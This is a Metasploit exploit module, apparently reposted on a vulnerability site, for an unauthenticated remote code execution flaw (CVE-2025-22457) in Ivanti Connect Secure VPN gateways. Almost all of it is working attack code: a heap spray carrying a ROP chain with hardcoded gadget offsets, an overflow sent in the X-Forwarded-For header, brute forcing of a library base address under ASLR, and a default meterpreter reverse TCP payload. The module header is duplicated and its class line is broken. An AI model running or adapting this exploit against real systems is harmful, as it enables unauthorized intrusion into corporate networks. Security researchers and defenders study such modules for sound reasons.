##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
alias tcp_socket_connect connect
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
class IvantiError < StandardError; end
class IvantiNotFoundError < IvantiError; end
class IvantiUnexpectedResponseError < IvantiError; end
class IvantiUnknownError < IvantiError; end
class IvantiNetworkError < IvantiError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow',
'Description' => %q{
This module exploits a Stack-based Buffer Overflow vulnerability in
Ivanti Connect Secure to achieve remote code execution
(CVE-2025-22457). Versions 22.7R2.5 and earlier are vulnerable. Note
that Ivanti Pulse Connect Secure, Ivanti Policy Secure and ZTA gateways
are also vulnerable but this module doesn't support this software. Heap
spray is used to place our payload in memory at a predetermined
location. Due to ASLR, the base address of `libdsplibs` is unknown.
This library is used by the exploit to build a ROP chain and get
command execution. As a result, the module will brute force this
address starting from the address set by the `LIBDSPLIBS_ADDRESS`
option.
},
'License' => MSF_LICENSE,
'Author' => [
'Stephen Fewer', # Analysis and PoC
'Christophe De La Fuente', # Metasploit Module
],
'References' => [
['CVE', '2025-22457'],
['URL', 'https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457'],
['URL', 'https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis'],
['URL', 'https://github.com/sfewer-r7/CVE-2025-22457']
],
'DisclosureDate' => '2025-04-03',
'Platform' => 'linux',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptInt.new('MAX_THREADS', [true, 'Max threads to use when spraying', 32]),
OptInt.new('WEB_CHILDREN', [true, 'The number of /home/bin/web child processes', 4]),
OptInt.new('LIBDSPLIBS_ADDRESS', [true, 'Lowest possible base address of libdsplibs', 0xf6426000]),
OptInt.new('BRUTEFORCE_ATTEMPTS', [true, 'The number of attempts to brute force the base address of libdsplibs', 256]),
]
)
end
def validate_options
if datastore['MAX_THREADS'] < 1
fail_with(Failure::BadConfig, "MAX_THREADS should be at least 1 (current value: #{datastore['MAX_THREADS']})")
end
if datastore['WEB_CHILDREN'] < 1
fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})")
end
end
# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def product_version
return @product_version if @product_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi'),
'vars_get' => {
'type' => 'inter'
}
})
raise IvantiUnknownError, '[product_version] No response from the server' if res.nil?
raise IvantiUnexpectedResponseError, "[product_version] Server responded with an unexpected HTTP status code: #{res.code}" unless res.code == 200
unless res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
raise IvantiNotFoundError, '[product_version] Product version not found'
end
@product_version = Regexp.last_match(1)
end
def url_schema
ssl ? 'https' : 'http'
end
def check
print_status("Checking the product version for #{url_schema}://#{rhost}:#{rport}")
# This has been fixed in version 22.7R2.6, which corresponds to 22.7.2 (build 3981)
# see https://help.ivanti.com/ps/help/en_US/ICS/22.x/22.7R2/22.xICSRN.pdf
if Rex::Version.new(product_version) < Rex::Version.new('22.7.2.3981')
return CheckCode::Appears("Detected version: #{product_version}")
end
CheckCode::Safe("Detected version: #{product_version}")
rescue IvantiError => e
CheckCode::Unknown("Unknown version: #{e}")
end
def target_data
{
# 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
'22.7.2.3597' => {
overflow_length: 622,
gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, # mov esp, ebp; pop ebp; ret;
offset_to_got_plt: 0x0157c000,
gadget_pop_ebx_ret: 0x00033222, # pop ebx; ret;
gadget_call_system: 0x0087E31F # mov [esp], edi; call __ZN5DSSys18isInterfaceEnabledEPKc;
}
}
end
def send_http_data(data)
s = tcp_socket_connect(false, { 'SSLVerifyMode' => 'NONE' })
s.write(data)
s
rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
raise IvantiNetworkError, "[send_http_data] Error with the socket: #{e}"
end
def user_agent
return @user_agent if @user_agent
# list of valid versions from OpenConnect git repository (https://gitlab.com/openconnect/openconnect)
# command used to generate this list: `for tag in HEAD v9.12 v9.11 v9.10; do for i in $(seq 5); do git describe --tags ${tag}~${i}; done; done`
@user_agent = %w[
v9.12-199-g06afc42b
v9.12-198-gb82f00f7
v9.12-196-g32971c1b
v9.12-195-g9fe01919
v9.12-193-ge4cc8a65
v9.11-21-g3bc9d788
v9.11-20-g3f4f3415
v9.11-19-gf6d2c8d8
v9.11-18-g0b47190f
v9.11-17-g4ca0aa1b
v9.10-26-gd40f4370
v9.10-24-g5d1b0883
v9.10-22-gbaa80279
v9.10-21-g3fbba481
v9.10-17-g15b4c533
v9.01-189-g5aca5431
v9.01-188-gb6b85208
v9.01-187-g299d4444
v9.01-186-gab5f1639
v9.01-185-g77838371
].sample
end
def make_connections
print_status('Making connections...')
@lock = Mutex.new
threads = []
0.upto(datastore['MAX_THREADS']) do
threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
loop do
break unless @lock.synchronize do
@spray_socks.size < ((1024 - 256) * datastore['WEB_CHILDREN'])
end
body = "GET / HTTP/1.1\r\n"
body << "Host: #{rhost}:#{rport}\r\n"
body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent #{user_agent}\r\n"
body << "Content-Type: EAP\r\n"
body << "Upgrade: IF-T/TLS 1.0\r\n"
body << "Content-Length: 0\r\n"
body << "\r\n"
s = send_http_data(body)
res = s.read
fail_with(Failure::Unreachable, 'No response received from the target.') unless res.present?
fail_with(Failure::UnexpectedReply, 'Bad response from the target') unless res.include?('101 Switching Protocols')
@lock.synchronize do
@spray_socks << s
end
rescue IvantiNetworkError => e
fail_with(Failure::Unreachable, "Unable to make a connection. You might need to increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`): #{e}")
end
end
end
threads.each(&:join)
end
def spray(libdsplibs_base)
print_status('Spraying...')
padding = rand_text(128)
spray_pattern = [
# DWORD , # Address where the DWORD will be located after the heap spray
SecureRandom.rand(2**32), # 0x39393818:
SecureRandom.rand(2**32), # 0x3939381C:
SecureRandom.rand(2**32), # 0x39393820:
SecureRandom.rand(2**32), # 0x39393824:
libdsplibs_base + @target[:gadget_mov_esp_ebp_pop_ret], # 0x39393828: <--- initial eip control, stack pivot gadget.
0x39393828 - 0x10, # 0x3939382C:
SecureRandom.rand(2**32), # 0x39393830: <--- points here @ ebp (rop: pop ebp)
libdsplibs_base + @target[:gadget_pop_ebx_ret], # 0x39393834:
libdsplibs_base + @target[:offset_to_got_plt], # 0x39393838: <--- eax (rop pop ebx)
libdsplibs_base + @target[:gadget_call_system], # 0x3939383C:
SecureRandom.rand(2**32), # 0x39393840:
SecureRandom.rand(2**32), # 0x39393844:
SecureRandom.rand(2**32), # 0x39393848:
SecureRandom.rand(2**32), # 0x3939384C:
SecureRandom.rand(2**32), # 0x39393850:
SecureRandom.rand(2**32), # 0x39393854:
SecureRandom.rand(2**32), # 0x39393858:
0x3939382C, # 0x3939385C: <--- ctx->dword2C (0x39393830+0x2c)
SecureRandom.rand(2**32), # 0x39393860:
SecureRandom.rand(2**32), # 0x39393864:
0x39393918, # 0x39393868: <--- ptr to shell_cmd, referenced @ edi
SecureRandom.rand(2**32), # 0x3939386C:
SecureRandom.rand(2**32), # 0x39393870:
SecureRandom.rand(2**32), # 0x39393874:
SecureRandom.rand(2**32), # 0x39393878:
SecureRandom.rand(2**32), # 0x3939387C:
SecureRandom.rand(2**32), # 0x39393880:
SecureRandom.rand(2**32), # 0x39393884:
SecureRandom.rand(2**32), # 0x39393888:
SecureRandom.rand(2**32), # 0x3939388C:
SecureRandom.rand(2**32), # 0x39393890:
0x00000000 # 0x39393894: 0x39393830+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.
# padding...
# 0x39393918: shell_cmd @ edi
].pack('V*') + padding + @shell_cmd
fail_with(Failure::BadConfig, 'spray_pattern should be 512 bytes') unless spray_pattern.length == 512
heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)
ift_body = [
0x00005597, # VENDOR_TCG
0x00000001, # IFT_VERSION_REQUEST
heap_buffer.length + 16 + 1,
0 # seq id
].pack('NNNN') + heap_buffer
threads = []
spray_idx = 0
0.upto(datastore['MAX_THREADS']) do
threads << Rex::ThreadFactory.spawn('IvantiConnectSecureRCE', false) do
loop do
s = @lock.synchronize do
s = @spray_socks[spray_idx]
spray_idx += 1
s
end
break if s.nil?
s.write(ift_body)
rescue Errno::EMFILE, Errno::ECONNRESET, Errno::EPIPE => e
print_error("Error while writing the socket: #{e}")
print_error('This is likely because the `WEB_CHILDREN` option is too high and one of the'\
'web child crashed. This needs to match the number of vCPUs of the target, '\
'since the number of child process matched the number of vCPUs.')
end
end
end
threads.each(&:join)
end
def trigger
print_status('Triggering...')
# Build the buffer with only numerical values
buffer = rand_text_numeric(@target[:overflow_length])
buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's
buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern
fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any?
body = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"
1.upto(datastore['WEB_CHILDREN']) do |attempt|
print_status("Attempt ##{attempt}")
begin
send_http_data(body)
rescue IvantiNetworkError, StandardError => e
vprint_warning("Exception: #{e}")
end
end
end
def attempt_exploit(libdsplibs_base)
print_status("Trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}")
@spray_socks = []
make_connections
spray(libdsplibs_base)
trigger
ensure
@spray_socks.each do |s|
s.close unless s.closed?
end
end
def exploit
validate_options
@shell_cmd = "a;export LD_LIBRARY_PATH=/home/lib;#{payload.encoded} #"
@shell_cmd << "\x00"
@shell_cmd << 'B' while @shell_cmd.length < 256
unless @shell_cmd.length == 256
fail_with(Failure::BadConfig, "shell_cmd should be 256 bytes (current size: #{@shell_cmd.length}")
end
vprint_status("shell_cmd: #{@shell_cmd}")
print_status("Targeting #{url_schema}://#{rhost}:#{rport}")
@target = target_data[product_version.to_s]
fail_with(Failure::BadConfig, "No target for this version (#{product_version})") unless @target
print_status('Starting...')
libdsplibs_base = datastore['LIBDSPLIBS_ADDRESS']
_, elapsed_time = Rex::Stopwatch.elapsed_time do
# with 8 bits of entropy, we should guess correctly every ~256 attempts (2**8).
0.upto(datastore['BRUTEFORCE_ATTEMPTS'] - 1) do
_, attempt_elapsed_time = Rex::Stopwatch.elapsed_time do
attempt_exploit(libdsplibs_base)
end
vprint_status("Attempt elapsed time: #{attempt_elapsed_time} seconds")
# give the target a few seconds to respawn the web binary before we try again.
Rex.sleep(5)
break unless framework.sessions.empty?
# increment to the next aligned memory location
libdsplibs_base += 0x1000
end
end
vprint_status("Total elapsed time: #{elapsed_time} seconds")
end
end
Ivanti Connect Secure 22.7R2.5 Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 146